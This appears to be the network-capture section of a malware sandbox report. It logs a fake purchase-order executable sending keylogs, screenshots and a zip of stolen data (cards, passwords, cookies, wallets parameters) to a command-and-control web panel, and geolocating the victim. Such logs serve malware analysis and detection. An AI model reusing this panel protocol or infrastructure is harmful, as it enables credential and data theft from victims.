Feb 21, 2023 07:09:22.281282902 CET	10779	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8dbfefa89 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:09:22.326023102 CET	10779	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:22.455221891 CET	10779	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:22.458009005 CET	10779	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:22.503180027 CET	10780	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:22.515584946 CET	10780	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e8e5082eae Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:09:22.558900118 CET	10780	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:22.687519073 CET	10781	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:22.794186115 CET	10781	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:22.840049982 CET	10781	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:22.950481892 CET	10781	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:22.996000051 CET	10782	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:22 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.106550932 CET	10782	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.152165890 CET	10782	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.262866974 CET	10782	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.308156967 CET	10782	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.419295073 CET	10783	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.464648962 CET	10783	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.575325012 CET	10783	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.620246887 CET	10783	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.731623888 CET	10783	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.776931047 CET	10784	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:23.877692938 CET	10784	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:23.922780037 CET	10784	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:24.212394953 CET	10785	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e9634a0583 Host: mavelecgr.com Content-Length: 51320 Expect: 100-continue
Feb 21, 2023 07:09:24.255738974 CET	10785	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:24.344935894 CET	10837	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:24 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:24.358797073 CET	10838	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e96b22b214 Host: mavelecgr.com Content-Length: 241 Expect: 100-continue
Feb 21, 2023 07:09:24.402146101 CET	10838	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:24.530342102 CET	10838	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:24 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:25.981509924 CET	10839	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:26.027183056 CET	10839	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:25 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:26.127954960 CET	10839	OUT	POST /webpanel//screen.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e97a9fadae Host: mavelecgr.com Content-Length: 51737 Expect: 100-continue
Feb 21, 2023 07:09:26.171222925 CET	10839	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:26.260478020 CET	10891	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:26 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:26.364757061 CET	10892	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e981676000 Host: mavelecgr.com Content-Length: 256 Expect: 100-continue
Feb 21, 2023 07:09:26.408020020 CET	10892	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:26.539773941 CET	10893	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:26 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:26.654287100 CET	10893	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:26.699964046 CET	10893	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:26 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:26.737241030 CET	10893	OUT	POST /webpanel//keylogs.php?hwid=CH35A22CC8A7 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13e995112f7a Host: mavelecgr.com Content-Length: 245 Expect: 100-continue
Feb 21, 2023 07:09:26.780476093 CET	10894	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:26.908785105 CET	10942	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 46 date: Tue, 21 Feb 2023 06:09:26 GMT server: LiteSpeed Data Raw: ef bb bf 2f 68 6f 6d 65 2f 6d 61 76 65 6c 65 63 67 2f 70 75 62 6c 69 63 5f 68 74 6d 6c 2f 77 65 62 70 61 6e 65 6c 2f 75 70 6c 6f 61 64 2f Data Ascii: /home/mavelecg/public_html/webpanel/upload/
Feb 21, 2023 07:09:27.012712955 CET	10942	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.058535099 CET	10943	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:27.161011934 CET	10943	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.206191063 CET	10943	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:27.308038950 CET	10943	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.353372097 CET	10943	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:27.465569973 CET	10944	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.510967016 CET	10944	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:27.621748924 CET	10944	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.666836023 CET	10944	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:
Feb 21, 2023 07:09:27.778204918 CET	10944	OUT	GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1 Host: mavelecgr.com
Feb 21, 2023 07:09:27.823349953 CET	10945	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html; charset=UTF-8 content-length: 3 date: Tue, 21 Feb 2023 06:09:27 GMT server: LiteSpeed Data Raw: ef bb bf Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49747	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:08:14.320420980 CET	9415	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:08:14.354254007 CET	9415	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:08:13 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49706	162.159.130.233	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.3	49749	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:08:21.806916952 CET	9534	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:08:21.841214895 CET	9535	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:08:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 52 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49750	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:08:46.179806948 CET	10050	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:08:46.213855028 CET	10051	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:08:45 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 28 X-Rl: 42 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	49753	208.95.112.1	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:09:20.725835085 CET	10723	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Feb 21, 2023 07:09:20.760139942 CET	10723	IN	HTTP/1.1 200 OK Date: Tue, 21 Feb 2023 06:09:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 286 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 53 77 69 74 7a 65 72 6c 61 6e 64 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 72 65 67 69 6f 6e 22 3a 22 5a 48 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 5a 75 72 69 63 68 22 2c 22 63 69 74 79 22 3a 22 5a 75 72 69 63 68 22 2c 22 7a 69 70 22 3a 22 38 30 34 32 22 2c 22 6c 61 74 22 3a 34 37 2e 33 36 38 32 2c 22 6c 6f 6e 22 3a 38 2e 35 36 37 31 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 69 73 70 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 6f 72 67 22 3a 22 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 61 73 22 3a 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 22 71 75 65 72 79 22 3a 22 38 34 2e 31 37 2e 35 32 2e 38 22 7d Data Ascii: {"status":"success","country":"Switzerland","countryCode":"CH","region":"ZH","regionName":"Zurich","city":"Zurich","zip":"8042","lat":47.3682,"lon":8.5671,"timezone":"Europe/Zurich","isp":"Datacamp Limited","org":"Datacamp Limited","as":"AS212238 Datacamp Limited","query":"84.17.52.8"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49754	89.45.67.2	80	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 21, 2023 07:09:23.948419094 CET	10785	OUT	GET /webpanel//config.json HTTP/1.1 Host: mavelecgr.com Connection: Keep-Alive
Feb 21, 2023 07:09:23.991611004 CET	10785	IN	HTTP/1.1 200 OK Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: application/json last-modified: Fri, 17 Feb 2023 05:25:27 GMT accept-ranges: bytes content-length: 44 date: Tue, 21 Feb 2023 06:09:23 GMT server: LiteSpeed Data Raw: 7b 22 74 69 6d 65 5f 6b 65 79 6c 6f 67 73 22 3a 20 31 2c 20 22 74 69 6d 65 5f 73 63 72 65 65 6e 73 68 6f 74 22 3a 20 33 30 20 20 7d Data Ascii: {"time_keylogs": 1, "time_screenshot": 30 }
Feb 21, 2023 07:09:26.773740053 CET	10893	OUT	POST /webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFill=0&Wallets=0 HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------8db13dd0b1f9999 Host: mavelecgr.com Content-Length: 46911 Expect: 100-continue
Feb 21, 2023 07:09:26.817002058 CET	10894	IN	HTTP/1.1 100 Continue
Feb 21, 2023 07:09:26.817224979 CET	10894	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 62 31 33 64 64 30 62 31 66 39 39 39 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 Data Ascii: -----------------------8db13dd0b1f9999Content-Disposition: form-data; name="file"; filename="CH_35A22CC8A7.zip"Content-Type: application/octet-stream
Feb 21, 2023 07:09:26.817341089 CET	10902	OUT	Data Raw: 50 4b 03 04 14 00 00 00 00 00 d7 38 55 56 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 43 61 72 64 73 2e 74 78 74 50 4b 03 04 14 00 00 00 08 00 da 38 55 56 1a 55 30 09 d2 00 00 00 4c 01 00 00 08 00 00 00 69 6e 66 6f 2e 74 78 74 ad 8e 3d 4f c3 Data Ascii: PK8UVCards.txtPK8UVU0Linfo.txt=O0wK7&i*D"`5o^Fc%#PL'VAF'v^m1QbmU3X;4(c";KRw$cJU:CY?csb-r?s<"9g
Feb 21, 2023 07:09:26.817394972 CET	10906	OUT	Data Raw: 62 56 4b 48 a5 bb 1b 93 12 59 01 85 c6 2f fb 5c 4c eb e5 71 d9 9b 71 a4 8b bf 36 a2 d9 9a 09 17 4e d5 9e 61 5a 2c df a1 49 6d c8 86 38 f5 61 c0 e6 9e 7a 7b 24 77 a5 94 10 e9 11 ae eb 55 ca 90 a6 b9 4a 74 ee 08 48 3d b8 f7 57 d4 07 a7 df 5d cd 22 Data Ascii: bVKHY/\Lqq6NaZ,Im8az{$wUJtH=W]"x!/u0Z(e)4v)7oPV#AsK6[lY,AcG p;tmGsFm5,Xu]S7gfXz+,*<
Feb 21, 2023 07:09:26.860713005 CET	10912	OUT	Data Raw: 06 be 45 85 c5 87 51 70 ed 89 56 fc 2f 7e e8 af 1b 72 db 02 33 5f 28 43 e5 69 6c 9c 6c 2d d8 96 3a af 4b d9 13 f2 49 c5 52 6b ed 82 f6 77 86 74 d4 41 02 bb c6 e9 9f 27 b1 af 93 e3 b1 c5 7d 1d 62 4d 2b 25 6d b3 60 27 3a 6c 79 fc 9b 45 08 d1 60 bf Data Ascii: EQpV/~r3_(Cill-:KIRkwtA'}bM+%m`':lyE`"AmAQ2b)p)##H^LU!lkNl11A/.SpPD'4LlOq(Do9JvmCzV`Eo6p`$G*}]
Feb 21, 2023 07:09:26.860713005 CET	10928	OUT	Data Raw: 47 59 89 92 8f ca 99 8c 82 67 eb 57 77 e0 06 5c a3 f4 67 6b c1 6b 7c 9d 6b 33 9e 9f 1d 41 d5 b9 1e 21 3c b0 bf c8 72 1c 96 dc 1e 51 46 55 a8 47 b3 04 d2 f3 34 be aa 0e 86 f6 95 0f ce a5 19 58 c1 50 84 c4 37 43 b8 6e d7 c0 86 c2 30 00 0b 62 34 b5 Data Ascii: GYgWw\gkk\|k3A!<rQFUG4XP7Cn0b4Gg{$W<`5KgX/)GtL= Ap<_A7k(-JG\uz~[j!1*-uM#ia10o81+U:
Feb 21, 2023 07:09:26.899916887 CET	10930	OUT	Data Raw: 27 59 25 82 eb 79 d0 18 8c fc f1 26 4f 58 45 69 9a e5 bf 92 65 8e 63 46 b0 fa de 7f 35 ee e2 1f 31 9a 3b de ea b5 d9 a2 10 fa b1 ea 4a 7f 36 0d 82 db db aa 0e a2 2c cb 23 03 16 27 a8 51 34 49 4d da 21 c4 44 00 e8 34 48 9b af bb 8c 5a ba 45 51 50 Data Ascii: 'Y%y&OXEiecF51;J6,#'Q4IM!D4HZEQP(XT&5Tc9K/z//Xo=EKSz]ruBBn3#us6NZnbDSRaICw6N%#=dgUW="VQ\|\|dB6:!uHDeW'
Feb 21, 2023 07:09:26.903939009 CET	10936	OUT	Data Raw: a1 8d df 08 26 2f d4 a7 ba 98 cf 92 c6 54 c2 07 fa b0 4d 2a 2f 4c ce 2d 9b 93 ce ab 27 9c 6f cc b4 8d 21 17 a7 93 72 bc a0 d6 13 6f 0d 1d fc a7 df c6 ea 61 f0 2d b4 ad a9 bd d2 22 3b 4a 02 eb 84 16 20 98 14 8f 8e 6e d2 cd 5a c9 7a d2 e6 2c 45 77 Data Ascii: &/TM*/L-'o!roa-";J nZz,EwMCI3re~3a3b\grOsqo'NAhr?gUV/[#h%']FkzO}p@RL1r-MMT@
Feb 21, 2023 07:09:26.903939962 CET	10938	OUT	Data Raw: 5b ac 89 52 5b 5a f8 87 3b b9 09 ea db 2d a0 6a 9b ef f6 bd 24 eb 9f b7 06 b3 ee 94 6d 42 92 9f 94 e5 8b 70 89 e1 4c 97 7a 9e cf f1 92 f5 c3 e4 3a be d6 41 d6 de 24 36 66 7b d3 eb 64 91 f6 74 c1 c7 a5 5f d9 91 2b ff c5 06 5d c3 85 36 ce cb ac ae Data Ascii: [R[Z;-j$mBpLz:A$6f{dt_+]60ybZsKGcbT'wM)fMu50{.$PfD[,G5l.abot7}CGTlx7&?Y(mi0ce%rW"l/
